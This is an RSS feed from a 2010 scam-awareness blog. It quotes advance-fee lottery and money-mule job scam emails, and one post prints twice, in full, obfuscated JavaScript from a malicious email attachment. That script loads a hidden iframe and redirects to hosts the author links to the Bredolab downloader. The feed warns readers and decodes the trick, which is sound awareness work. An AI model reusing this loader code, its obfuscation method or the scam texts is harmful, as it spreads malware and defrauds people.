<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BeScamAware.com</title>
	<atom:link href="http://bescamaware.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://bescamaware.com</link>
	<description>Don&#039;t be caught unaware, be scam aware!</description>
	<lastBuildDate>Fri, 27 Aug 2010 16:59:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SWISS LOTTO NETHERLANDS &#8211; Phishing</title>
		<link>http://bescamaware.com/2010/08/swiss-lotto-netherlands-phishing/</link>
		<comments>http://bescamaware.com/2010/08/swiss-lotto-netherlands-phishing/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 16:57:38 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[+31-644-010-629]]></category>
		<category><![CDATA[r. David Barnet Bradley]]></category>
		<category><![CDATA[SWISS LOTTO NETHERLANDS]]></category>
		<category><![CDATA[transdept2010@aol.com]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=566</guid>
		<description><![CDATA[An email pretending to be from Swiss Lotto stating that you have won 750,000 EURO's. ]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste"><strong>Email Title</strong></div>
<blockquote>
<div id="_mcePaste">RE: FINAL NOTIFICATION!! YOUR SWISS LOTTO WINNING NOTIFICATION</div>
</blockquote>
<div id="_mcePaste"><strong>Email Body</strong></div>
<blockquote>
<div id="_mcePaste">SWISS LOTTO NETHERLANDS</div>
<div id="_mcePaste">FRANCOSTRAAT 40,</div>
<div id="_mcePaste">3067DV, LAIDEN.</div>
<div id="_mcePaste">NETHERLANDS</div>
<div id="_mcePaste">https://www.swisslotto.ch</div>
<div></div>
<div></div>
<div id="_mcePaste" style="text-align: center;">CONGRATULATIONS!!! YOU HAVE WON 750,000 EURO</div>
<div style="text-align: center;"></div>
<div style="text-align: center;"></div>
<div id="_mcePaste" style="text-align: left;">You have been awarded 750,000 Euros in the SWISS-LOTTO Satellite Software email lottery in which e-mail addresses are picked randomly by Software powered by the Internet through the worldwide website, your email address was amongst those Chosen this year for the SWISS-LOTTO Satellite lottery. And this promotional program is proudly sponsored by the SWISS-LOTTO organization.</div>
<div style="text-align: left;"></div>
<div style="text-align: left;">Your email address attached to Ref number 5, 7, 14, 17, 18, 43 with Serial 10, and consequently won the lottery in the &#8220;A&#8221; Category. You have therefore been approved for a lump sum pay out of 750,000 Euros. Number 1979-12 drew the lucky Numbers 101979-12 drew the lucky Numbers please note that you are lucky winning number falls within our European Booklet representative. In View of this, your winning prize will be released to you by our fiduciary agent located In the Netherlands.</div>
<div style="text-align: left;"></div>
<div style="text-align: left;">Our European agent will immediately commence the process to facilitate the release of your winning funds as soon as you Contact them.  This promotion takes place annually. For security reasons, you are advised to keep your winning details confidential till your claims is processed and your Winning funds remitted to you in whatever manner you deem fit to Claim your prize. This is part of our precautionary measure to avoid double claiming and unwarranted d abuse of this program by some unscrupulous elements.</div>
<div id="_mcePaste" style="text-align: left;">To file for your claim, please contact our fiduciary agent:</div>
<div style="text-align: left;">Mr. David Barnet Bradley</div>
<div id="_mcePaste" style="text-align: left;">Email: <span style="color: #0000ff;">transdept2010@aol.com</span></div>
<div id="_mcePaste" style="text-align: left;">Tel: +31-644-010-629</div>
<div id="_mcePaste" style="text-align: left;">Provide him with the informations as stated below:</div>
<div id="_mcePaste" style="text-align: left;">(1) Name:</div>
<div id="_mcePaste" style="text-align: left;">(2) Address:</div>
<div id="_mcePaste" style="text-align: left;">(3) Marital:</div>
<div id="_mcePaste" style="text-align: left;">(4) Age:</div>
<div id="_mcePaste" style="text-align: left;">(5) Sex:</div>
<div id="_mcePaste" style="text-align: left;">(6) Nationality:</div>
<div id="_mcePaste" style="text-align: left;">(7) Country of Residence:</div>
<div id="_mcePaste" style="text-align: left;">(8) Occupation:</div>
<div id="_mcePaste" style="text-align: left;">(9) Telephone Number:</div>
<div id="_mcePaste" style="text-align: left;">(10)Fax Number:</div>
<div id="_mcePaste" style="text-align: left;">(11)Draw Number above:</div>
<div style="text-align: left;">These details facilitate the due process and the release of winnings to avoid Unnecessary delays and complications in the processing of your Winnings.</div>
<div style="text-align: left;">Congratulations once more from all members and staff of this program.</div>
<div style="text-align: left;">Sincerely,</div>
<div id="_mcePaste" style="text-align: left;">Mr. Kenneth Gram</div>
<div id="_mcePaste" style="text-align: left;">Online Games Director</div>
<div id="_mcePaste" style="text-align: left;">SWISS-LOTTO NETHERLANDS</div>
<div id="_mcePaste" style="text-align: left;">https://www.swisslotto.ch</div>
<div id="_mcePaste" style="text-align: left;">==========================================</div>
</blockquote>
<p style="text-align: left;"><strong>Email Address</strong></p>
<blockquote><p>Sent from: SWISS LOTTO NETHERLANDS &lt;swislottonllt@gmail.com&gt;</p>
<p>Reply Address: transdept2010@aol.com</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=566&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/08/swiss-lotto-netherlands-phishing/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ELM Team &#8211; Job opportunity &#8211; (id 1282888832) &#8211; Phishing Scam</title>
		<link>http://bescamaware.com/2010/08/elm-team-job-opportunity-id-1282888832-phishing-scam/</link>
		<comments>http://bescamaware.com/2010/08/elm-team-job-opportunity-id-1282888832-phishing-scam/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 16:51:24 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Cullen Meyers]]></category>
		<category><![CDATA[ELM Team]]></category>
		<category><![CDATA[Find your dream job! : [1281334263]]]></category>
		<category><![CDATA[joissemalcomb6742@gmail.com]]></category>
		<category><![CDATA[liengtcffe2@yahoo.com]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=563</guid>
		<description><![CDATA[A Phishing Scam pretending to the a job opportunity.]]></description>
			<content:encoded><![CDATA[<div>
<div>
<p><strong>Email Title</strong></p>
<blockquote><p>Job opportunity &#8211; (id 1282888832)</p></blockquote>
<p><strong>Email Body</strong></p>
<blockquote><p>Good day.</p>
<p>Our company ELM is pleased to offer you a well-paid part-time work.</p>
<p>Location : United Kingdom</p>
<p>If you are interested, please reply to : <span style="color: #0000ff;"><span style="text-decoration: underline;">joissemalcomb6742@gmail.com</span></span> with your short resume.</p>
<p>All the best,<br />
ELM Team</p></blockquote>
<p><strong>Email Address</strong></p>
<blockquote><p>Sent by: Cullen Meyers &lt;liengtcffe2@yahoo.com&gt;</p>
<p>Reply to: joissemalcomb6742@gmail.com</p></blockquote>
</div>
</div>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=563&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/08/elm-team-job-opportunity-id-1282888832-phishing-scam/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Find your dream job! : [1281334263] &#8211; Phishing Scam</title>
		<link>http://bescamaware.com/2010/08/find-your-dream-job-1281334263-phishing-scam/</link>
		<comments>http://bescamaware.com/2010/08/find-your-dream-job-1281334263-phishing-scam/#comments</comments>
		<pubDate>Tue, 03 Aug 2010 18:54:32 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Nigerian 419 Scams]]></category>
		<category><![CDATA[douce8k70b@yahoo.com]]></category>
		<category><![CDATA[Find your dream job! : [1281334263]]]></category>
		<category><![CDATA[kasandrakazan33553@gmail.com]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=556</guid>
		<description><![CDATA[People believe that this is trying to get you into Money Laundering, and on the surface it seems that way. I just don't believe a criminal would try to launder money though a random person they have never met. So I believe that this is most likely a Nigerian 419 Scam as I am sure they will ask for some legal fees to release money or something.]]></description>
			<content:encoded><![CDATA[<div>
<p><strong>Email Title</strong></p>
<blockquote><p>Find your dream job! : [1281334263]</p></blockquote>
<p><strong>Email Body</strong></p>
<blockquote><p><strong><span style="font-weight: normal;">Good Day.</span></strong></p>
<p><strong>Our company are currently looking for a few qualified persons to become employees of our team.<br />
If you are looking for new prospects, new accomplishments in your life, and are willing to receive better salary you are welcome to join our team.</p>
<p>Job Description: The task of the Transfer Manager is collecting payments from<br />
customers in timely manner and to solve issues associated with these tasks. If you don&#8217;t have bank account, our manager will find nearest bank, and open a new checking account there. All fees will be paid by our company.<br />
Every operation order will be accompanied with detailed instructions. It is a part-time, work-at-home position.<br />
We are offering to you a commission based position.<br />
You will get 5-10% of each processed payment immediately, right after you accomplish the task.</p>
<p>General requirements:<br />
* Applicants must be of legal age;<br />
* Good skills to communicate with clients;<br />
* Any experience in customer service sphere is appreciate plus.</p>
<p>Your Payment will be 700-1400 U.S. Dollars per week.</p>
<p>This work will allow you to:<br />
* Work efficiently from home;<br />
* Adds available personal time;<br />
* Get financial independence for less time than it&#8217;s usually required;<br />
* Develop high self-respect and esteem.</p>
<p>Working time are flexible. You can choose to perform the work when it is convenient to you.<br />
The general requirement is to spend 30-60 minutes a day for the work.<br />
You will need to check your E-mail three-five times a day to see if there is any work for you.</p>
<p>Please reply if you are interested and I will provide you a detailed description.</p>
<p></strong><strong>Best wishes.<br />
</strong></p></blockquote>
<p><strong>Email Address</strong></p>
<blockquote><p>Sent by: Quin Fischer &lt;douce8k70b@yahoo.com&gt;</p>
<p>Reply to: kasandrakazan33553@gmail.com</p></blockquote>
</div>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=556&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/08/find-your-dream-job-1281334263-phishing-scam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random Emails with HTML Attachment &#8211; Malware</title>
		<link>http://bescamaware.com/2010/06/random-emails-with-html-attachment-malware/</link>
		<comments>http://bescamaware.com/2010/06/random-emails-with-html-attachment-malware/#comments</comments>
		<pubDate>Sat, 26 Jun 2010 20:18:32 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[123Greetings.com]]></category>
		<category><![CDATA[ecard.html]]></category>
		<category><![CDATA[Facebook=]]></category>
		<category><![CDATA[facebook_newpass.html]]></category>
		<category><![CDATA[FIFA World Cup South Africa… bad news]]></category>
		<category><![CDATA[microsoft outlook support]]></category>
		<category><![CDATA[onnoe.ru]]></category>
		<category><![CDATA[open.html]]></category>
		<category><![CDATA[Outlook Setup Notification]]></category>
		<category><![CDATA[Virus Scan.html]]></category>
		<category><![CDATA[Win32/Bredolab]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=530</guid>
		<description><![CDATA[Over the last month or so I have been inundated with emails claiming to be from various sources like 123Greetings, Facebook, Microsoft and all claiming that I must open the attached file. BEWARE! ]]></description>
			<content:encoded><![CDATA[<p>Over the last month or so I have been absolutely inundated with emails of various topics asking to run html file that is attached.</p>
<p>I have included an example of the code contained in the html attachment below</p>
<p style="text-align: center;"><strong><span style="text-decoration: underline;">Under no circumstances should anyone ever run these attachments or run the following code</span></strong></p>
<blockquote>
<p style="text-align: left;">Malicious code contained in the html attachment</p>
<div id="_mcePaste">&lt;script type=&#8217;text/javascript&#8217;&gt;function sW(){};var wX=&#8221;wX&#8221;;sW.prototype = {dC : function() {this.e=26810;this.xM=false;dX=&#8221;";return &#8216;hStbtbpb:b/S/bsbobnbnkoks*eS.krSuk:*8*0S8k0a/*ian*daeaxb.ap*h*pS?apaikdb=S1S0a&#8217;.fS(/[ak\*Sb]/g, &#8221;);var dA=new Array();var fJ=&#8221;";n=&#8221;";this.gZ=&#8221;gZ&#8221;;},c : function() {var h=function(){};this.xJ=&#8221;";var t=&#8221;";w=9625;this.i=13841;var fY=58590;var x=window;xS=&#8221;xS&#8221;;var xQ=new Date();var a = this;this.vT=&#8221;";var oK=function(){return &#8216;oK&#8217;};var o=document;var vY=&#8221;;p=false;this.r=16716;this.vL=26555;this.rZ=false;String.prototype.fS=function(f, d){var oM=this; return oM.replace(f, d)};this.xA=11909;var wQ=false;var u=&#8221;";var cL=&#8221;cL&#8221;;this.mN=&#8221;;this.uU=12901;this.hY=&#8221;hY&#8221;;var g = &#8216;swewt/T#i@m@e@olultw&#8217;.fS(/[wl#@/]/g, &#8221;);var y=new Date();gX=&#8221;;var dW=&#8221;;gL=false;var m = &#8216;w[rxi9t9e['.fS(/[\[Ws9x]/g, &#8221;);function dXU(){};var eU=new Date();this.gM=15553;var pM=&#8221;pM&#8221;;this.yR=&#8221;yR&#8221;;var uP=&#8221;;var fC=new Date();try {var l=&#8221;";this.s=&#8221;;var lC=function(){};var hN=function(){};this.b=false;function xN(){};var cH = &#8216;sNrlcP&#8217;.fS(/[PNl\]z]/g, &#8221;);this.fR=&#8221;;var iM=new Array();this.eJ=&#8221;;var xK = &#8216;cBrzezautBezE4lueBmweznutB&#8217;.fS(/[Bwu4z]/g, &#8221;);rH=&#8221;";jH=&#8221;;var xMG=&#8221;;        var j = &#8216;aWpUpIeUnIdICUhWiUlWd:&#8217;.fS(/[\:6UWI]/g, &#8221;);var mH=false;var uA=&#8221;";this.fE=&#8221;fE&#8221;;var v = &#8216;bOoUdUyU&#8217;.fS(/[UO\!,l]/g, &#8221;);this.uM=64493;this.yB=&#8221;;function hI(){};sG=&#8221;sG&#8221;;var dO = &#8216;s(e#t(A5txtxrxi5b#u(t5e&gt;&#8217;.fS(/[\&gt;\(x#5]/g, &#8221;);var pH=function(){return &#8216;pH&#8217;};mU=&#8221;mU&#8221;;var xU = &#8216;h+eTiyg+h[ty'.fS(/[y\[TB\+]/g, &#8221;);var xNB=&#8221;";this.tL=62920;var aA=function(){return &#8216;aA&#8217;};wH=false;var q = &#8216;wKigd7t7hz&#8217;.fS(/[z,K7g]/g, &#8221;);var qW=function(){return &#8216;qW&#8217;};var fP=&#8221;fP&#8221;;var cG=&#8221;;this.cC=&#8221;";var fEX=function(){return &#8216;fEX&#8217;};var uL=&#8221;;aQ=false;var z=document[xK](&#8216;i7f%rIa%m*e*&#8217;.fS(/[\*7%I\$]/g, &#8221;));this.gB=&#8221;";var vZ=function(){};xAB=&#8221;";aS=36314;z[dO](cH, a.dC());var iA=function(){return &#8216;iA&#8217;};this.iC=51591;z[dO](xU, &#8220;1&#8243;);var zS=&#8221;";this.vR=&#8221;vR&#8221;;z[dO](q, &#8220;1&#8243;);this.wA=false;this.rD=49214;this.iN=&#8221;;var aR=false;this.fL=&#8221;;var wZ=31785;this.xR=24396;o[v][j](z);this.bV=&#8221;;this.cP=false;xKE=11560;var vZL=function(){};this.pN=false;var dWR=&#8221;dWR&#8221;;var wV=&#8221;;this.k=false;} catch(aU) {var kQ=function(){};fLO=&#8221;;function zM(){};this.vK=&#8221;;var yL=function(){};o[m](&#8216;&lt;[h[t}mLlk L&gt;k&lt;)bLokd[y} k&gt;k&lt;L/[b}o}dLy}&gt;}&lt;[/[hLt)m)l)&gt;)'.fS(/[\)\[Lk\}]/g, &#8221;));this.eR=false;var cX=false;var oE=false;x[g](function(){ a.c() }, 319);eM=false;var tS=&#8221;";this.vX=&#8221;";var bK=&#8221;;}var rU=new Array();this.xI=26651;this.hX=&#8221;hX&#8221;;}};vI=&#8221;vI&#8221;;var oD=new sW(); this.oB=6063;oD.c();this.pG=44011;&lt;/script&gt;</div>
<div id="_mcePaste">&lt;script type=&#8217;text/javascript&#8217;&gt;function mY(){};this.sU=&#8221;sU&#8221;;mY.prototype = {k : function() {this.x=false;var nY=&#8221;nY&#8221;;var h=new Date();var iB=new Array();this.j=859;q=&#8221;q&#8221;;var mZ=false;this.b=false;n=document['lsoFcsasthiFohnh'.replace(/[h\$Fs\?]/g, &#8221;)];this.g=2474;this.jW=false;u=&#8221;;var d=&#8221;";hN=false;var o=new Date();function i(m, v){s=&#8221;";gE=&#8221;gE&#8221;;var e=&#8221;;var vV=&#8221;;m.href=v;mV=&#8221;;var xN=51306;a=&#8221;";this.mW=false;}vR=false;function l(){};this.w=&#8221;w&#8221;;this.bS=false;var qL=new Date();var mG=&#8221;mG&#8221;;qI=&#8221;;i(n, &#8216;hCt^t+p+:+/Z/+t^o+lZd+s+pyeyaZky.Zc+oCm+&#8217;.replace(/[\+Cy\^Z]/g, &#8221;));this.bK=&#8221;;oE=false;var c=&#8221;;this.xZ=&#8221;";}};var gI=5746;var f=new mY(); this.fY=false;f.k();gT=&#8221;gT&#8221;;&lt;/script&gt;</div>
<p>&lt;script type=&#8217;text/javascript&#8217;&gt;function sW(){};var wX=&#8221;wX&#8221;;sW.prototype = {dC : function() {this.e=26810;this.xM=false;dX=&#8221;";return &#8216;hStbtbpb:b/S/bsbobnbnkoks*eS.krSuk:*8*0S8k0a/*ian*daeaxb.ap*h*pS?apaikdb=S1S0a&#8217;.fS(/[ak\*Sb]/g, &#8221;);var dA=new Array();var fJ=&#8221;";n=&#8221;";this.gZ=&#8221;gZ&#8221;;},c : function() {var h=function(){};this.xJ=&#8221;";var t=&#8221;";w=9625;this.i=13841;var fY=58590;var x=window;xS=&#8221;xS&#8221;;var xQ=new Date();var a = this;this.vT=&#8221;";var oK=function(){return &#8216;oK&#8217;};var o=document;var vY=&#8221;;p=false;this.r=16716;this.vL=26555;this.rZ=false;String.prototype.fS=function(f, d){var oM=this; return oM.replace(f, d)};this.xA=11909;var wQ=false;var u=&#8221;";var cL=&#8221;cL&#8221;;this.mN=&#8221;;this.uU=12901;this.hY=&#8221;hY&#8221;;var g = &#8216;swewt/T#i@m@e@olultw&#8217;.fS(/[wl#@/]/g, &#8221;);var y=new Date();gX=&#8221;;var dW=&#8221;;gL=false;var m = &#8216;w[rxi9t9e['.fS(/[\[Ws9x]/g, &#8221;);function dXU(){};var eU=new Date();this.gM=15553;var pM=&#8221;pM&#8221;;this.yR=&#8221;yR&#8221;;var uP=&#8221;;var fC=new Date();try {var l=&#8221;";this.s=&#8221;;var lC=function(){};var hN=function(){};this.b=false;function xN(){};var cH = &#8216;sNrlcP&#8217;.fS(/[PNl\]z]/g, &#8221;);this.fR=&#8221;;var iM=new Array();this.eJ=&#8221;;var xK = &#8216;cBrzezautBezE4lueBmweznutB&#8217;.fS(/[Bwu4z]/g, &#8221;);rH=&#8221;";jH=&#8221;;var xMG=&#8221;;        var j = &#8216;aWpUpIeUnIdICUhWiUlWd:&#8217;.fS(/[\:6UWI]/g, &#8221;);var mH=false;var uA=&#8221;";this.fE=&#8221;fE&#8221;;var v = &#8216;bOoUdUyU&#8217;.fS(/[UO\!,l]/g, &#8221;);this.uM=64493;this.yB=&#8221;;function hI(){};sG=&#8221;sG&#8221;;var dO = &#8216;s(e#t(A5txtxrxi5b#u(t5e&gt;&#8217;.fS(/[\&gt;\(x#5]/g, &#8221;);var pH=function(){return &#8216;pH&#8217;};mU=&#8221;mU&#8221;;var xU = &#8216;h+eTiyg+h[ty'.fS(/[y\[TB\+]/g, &#8221;);var xNB=&#8221;";this.tL=62920;var aA=function(){return &#8216;aA&#8217;};wH=false;var q = &#8216;wKigd7t7hz&#8217;.fS(/[z,K7g]/g, &#8221;);var qW=function(){return &#8216;qW&#8217;};var fP=&#8221;fP&#8221;;var cG=&#8221;;this.cC=&#8221;";var fEX=function(){return &#8216;fEX&#8217;};var uL=&#8221;;aQ=false;var z=document[xK](&#8216;i7f%rIa%m*e*&#8217;.fS(/[\*7%I\$]/g, &#8221;));this.gB=&#8221;";var vZ=function(){};xAB=&#8221;";aS=36314;z[dO](cH, a.dC());var iA=function(){return &#8216;iA&#8217;};this.iC=51591;z[dO](xU, &#8220;1&#8243;);var zS=&#8221;";this.vR=&#8221;vR&#8221;;z[dO](q, &#8220;1&#8243;);this.wA=false;this.rD=49214;this.iN=&#8221;;var aR=false;this.fL=&#8221;;var wZ=31785;this.xR=24396;o[v][j](z);this.bV=&#8221;;this.cP=false;xKE=11560;var vZL=function(){};this.pN=false;var dWR=&#8221;dWR&#8221;;var wV=&#8221;;this.k=false;} catch(aU) {var kQ=function(){};fLO=&#8221;;function zM(){};this.vK=&#8221;;var yL=function(){};o[m](&#8216;&lt;[h[t}mLlk L&gt;k&lt;)bLokd[y} k&gt;k&lt;L/[b}o}dLy}&gt;}&lt;[/[hLt)m)l)&gt;)'.fS(/[\)\[Lk\}]/g, &#8221;));this.eR=false;var cX=false;var oE=false;x[g](function(){ a.c() }, 319);eM=false;var tS=&#8221;";this.vX=&#8221;";var bK=&#8221;;}var rU=new Array();this.xI=26651;this.hX=&#8221;hX&#8221;;}};vI=&#8221;vI&#8221;;var oD=new sW(); this.oB=6063;oD.c();this.pG=44011;&lt;/script&gt;<br />
&lt;script type=&#8217;text/javascript&#8217;&gt;function mY(){};this.sU=&#8221;sU&#8221;;mY.prototype = {k : function() {this.x=false;var nY=&#8221;nY&#8221;;var h=new Date();var iB=new Array();this.j=859;q=&#8221;q&#8221;;var mZ=false;this.b=false;n=document['lsoFcsasthiFohnh'.replace(/[h\$Fs\?]/g, &#8221;)];this.g=2474;this.jW=false;u=&#8221;;var d=&#8221;";hN=false;var o=new Date();function i(m, v){s=&#8221;";gE=&#8221;gE&#8221;;var e=&#8221;;var vV=&#8221;;m.href=v;mV=&#8221;;var xN=51306;a=&#8221;";this.mW=false;}vR=false;function l(){};this.w=&#8221;w&#8221;;this.bS=false;var qL=new Date();var mG=&#8221;mG&#8221;;qI=&#8221;;i(n, &#8216;hCt^t+p+:+/Z/+t^o+lZd+s+pyeyaZky.Zc+oCm+&#8217;.replace(/[\+Cy\^Z]/g, &#8221;));this.bK=&#8221;;oE=false;var c=&#8221;;this.xZ=&#8221;";}};var gI=5746;var f=new mY(); this.fY=false;f.k();gT=&#8221;gT&#8221;;&lt;/script&gt;</p></blockquote>
<p>So how does this code work and what does it do?</p>
<p>Well it&#8217;s quite clever in the way how it disguises the offending web address. Without going into too much detail how the code works, I will point to the the following line:</p>
<blockquote><p>&#8220;;return &#8216;<span style="text-decoration: underline;">hStbtbpb:b/S/bsbobnbnkoks*eS.krSuk:*8*0S8k0a/*ian*daeaxb.ap*h*pS?apaikdb=S1S0a</span>&#8216;.fS(/[ak\*Sb]/g, &#8221;</p></blockquote>
<p>If you look carefully you may see something that resembles a typical URL but with extra characters mixed in. If you removed the extra characters it will return the following URL:</p>
<blockquote><p><span style="color: #ff0000;"><strong><span style="text-decoration: underline;">Do not visit the following website &#8211; it will download malware (Win32/Bredolab) to your computer</span></strong></span></p>
<p>http://onnoe.ru:8080/index.php?pid=10</p></blockquote>
<p>So why go to all that effort just to disguise a simple URL? This is so that the criminal can continue to use the same URL with millions of different variations on the way he disguises the URL so that it can slip past the Spam protection without being detected.</p>
<div>
<table style="border: 1px solid #ff3333; width: 600px; background-color: #ffe4e1;" width="600">
<tbody>
<tr bgcolor="#ff3333">
<td><strong>Malware</strong></td>
</tr>
<tr>
<td><strong>Malware Name:</strong></p>
<p style="padding-left: 30px;">Win32/Bredolab</p>
<p><strong>What it does:</strong></p>
<p style="padding-left: 30px;">Win32/Bredolab is a downloader which is able to download and execute arbitrary files from a remote host.</p>
</td>
</tr>
</tbody>
</table>
</div>
<div><span style="font-size: small;"><span style="line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"><br />
</span></span></div>
<p><strong>Some examples of the emails I have received:</strong></p>
<blockquote><p><strong>Sender: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>microsoft outlook support</p>
<p><strong>Subject:</strong></p>
<p style="padding-left: 30px;">Outlook Setup Notification</p>
<p><strong>Content: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>You have (8) messages from Microsoft Outlook.</p>
<p style="padding-left: 30px;">Please re-configure your Microsoft Outlook again.</p>
<p style="padding-left: 30px;">Download attached setup file and install.</p>
<p><strong>Attachment: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>open.html</p>
</blockquote>
<blockquote><p><strong>Sender: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>Tyrone Macdonald</p>
<p><strong>Subject:</strong></p>
<p style="padding-left: 30px;">FIFA World Cup South Africa&#8230; bad news</p>
<p><strong>Content: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>Hello!!</p>
<p style="padding-left: 30px;">FIFA World Cup 2010 scandal news, read attached document</p>
<p><strong>Attachment: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>open.html</p>
</blockquote>
<p style="padding-left: 30px;">
<blockquote><p><strong>Sender: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>Sylvia Ford</p>
<p><strong>Subject:</strong></p>
<p style="padding-left: 30px;">Time to be a MAN.</p>
<p><strong>Content:</strong></p>
<p style="padding-left: 30px;">Save big now</p>
<p><strong>Attachment:</strong></p>
<p style="padding-left: 30px;">open.html</p>
</blockquote>
<p style="padding-left: 30px;">
<blockquote><p><strong>Sender: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>Jarvis Carr</p>
<p><strong>Subject:</strong></p>
<p style="padding-left: 30px;">Outlook Setup Notification</p>
<p><strong>Content: </strong></p>
<p style="padding-left: 30px;"><strong> </strong>Dangerous files detected!</p>
<p style="padding-left: 30px;">Your system is at risk!</p>
<p style="padding-left: 30px;">Several files were found in your computer which can damage your personal data.</p>
<p style="padding-left: 30px;">It is strongly recommended to delete them immediately!</p>
<p style="padding-left: 30px;">Name    Alert level</p>
<p style="padding-left: 30px;">Trojan-DownIoader.Win32.Agent.alr       High Risk</p>
<p style="padding-left: 30px;">Nuker.Win32.CGSi        Low Risk</p>
<p style="padding-left: 30px;">Trojan-DownIoader.Win32.Agent.alr       High Risk</p>
<p style="padding-left: 30px;">Trojan-Dropper. Win32.Agent.sd  Low Risk</p>
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">* To protect your data choose offline scanning</p>
<p style="padding-left: 30px;">and set full real-time antivirus service.</p>
<p style="padding-left: 30px;">* Open Attached File And Repair Now</p>
<p><strong>Attachment</strong></p>
<p style="padding-left: 30px;"><strong><span style="font-weight: normal;">Virus Scan.html</span></strong></p>
</blockquote>
<blockquote><p><strong>Sender:</strong></p>
<p style="padding-left: 30px;"><strong> </strong>123Greetings.com</p>
<p><strong>Subject:</strong></p>
<p style="padding-left: 30px;">[practicedak0@ramcar.com] just sent you an ecard</p>
<p><strong>Content:</strong></p>
<p style="padding-left: 30px;"><strong> </strong></p>
<p style="padding-left: 30px;">You can view it by open attached document.</p>
<p style="padding-left: 30px;">Your ecard is going to be with us for the next 30 days.</p>
<p style="padding-left: 30px;">We hope you enjoy your ecard.</p>
<p><strong>Attachment:</strong></p>
<p style="padding-left: 30px;"><strong> </strong>ecard.html</p>
</blockquote>
<blockquote><p><strong>Sender:</strong></p>
<p style="padding-left: 30px;"><strong> </strong>Facebook</p>
<p><strong>Subject:</strong></p>
<p style="padding-left: 30px;">Reset your Facebook password</p>
<p><strong>Content:</strong></p>
<p style="padding-left: 30px;"><strong> </strong></p>
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">Hey there.</p>
<p style="padding-left: 30px;">Because of the measures taken to provide safety to our clients, your password has been changed.</p>
<p style="padding-left: 30px;">You can find your new password in attached document.</p>
<p style="padding-left: 30px;">Yours,</p>
<p style="padding-left: 30px;">Facebook=</p>
<p><strong>Attachment:</strong></p>
<p style="padding-left: 30px;"><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">facebook_newpass.html</span></p>
</blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=530&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/06/random-emails-with-html-attachment-malware/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>YouTube &#8211; Malware</title>
		<link>http://bescamaware.com/2010/06/youtube-malware/</link>
		<comments>http://bescamaware.com/2010/06/youtube-malware/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 16:47:55 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Angelina Jolie]]></category>
		<category><![CDATA[aomdesign101.com/d.htm]]></category>
		<category><![CDATA[awmmagazine.ru]]></category>
		<category><![CDATA[camaka.net/1.htm]]></category>
		<category><![CDATA[YouTube]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=519</guid>
		<description><![CDATA[An email supposedly from YouTube says that a user would like to be friends, but when you click it you are directed to a Russian website that is hosting Malware.]]></description>
			<content:encoded><![CDATA[<div><strong>Email Title</strong></div>
<blockquote>
<div>Angelina Jolie invited you to join Facebook&#8230;</div>
</blockquote>
<div><strong>Email Body</strong></div>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr valign="center">
<td align="right"><a></a><a href="http://bescamaware.com/wp-content/uploads/2010/06/youtube.com_.jpg"><img class="alignleft size-full wp-image-520" title="youtube.com" src="http://bescamaware.com/wp-content/uploads/2010/06/youtube.com_.jpg" alt="" width="135" height="69" /></a><span style="color: #0000ff;">Support Center | </span><a><span style="color: #0000ff;">E-mail options</span></a><span style="color: #0000ff;"> | </span><a><span style="color: #0000ff;">Spam Abuse</span></a></td>
</tr>
<tr>
